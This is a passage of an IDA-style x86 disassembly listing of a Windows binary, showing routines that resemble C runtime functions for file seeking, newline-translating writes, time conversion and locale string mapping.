; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB9D8
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43CF74
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DCFC8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 2650000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43D43C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43D358
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43D35C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43D360


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DCD80
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCC80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB928, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 2760000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	near ptr 2670E94h
		nop
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DCC80[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB928, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DCD80
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB928, 9
		mov	dword_4DB92C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 2670E94h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2670E94h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB928, 1Ch
		mov	dword_4DB92C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB9FC, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB9FC, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CB4DC
		push	esi
		push	edi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB9FC, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB9FC
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB9F4
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2820000h
		nop
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2810000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DBA00
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBA00, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43CFF0
		mov	edx, dword_43CFF4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43CF80h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43CFFC
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43CFFC, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
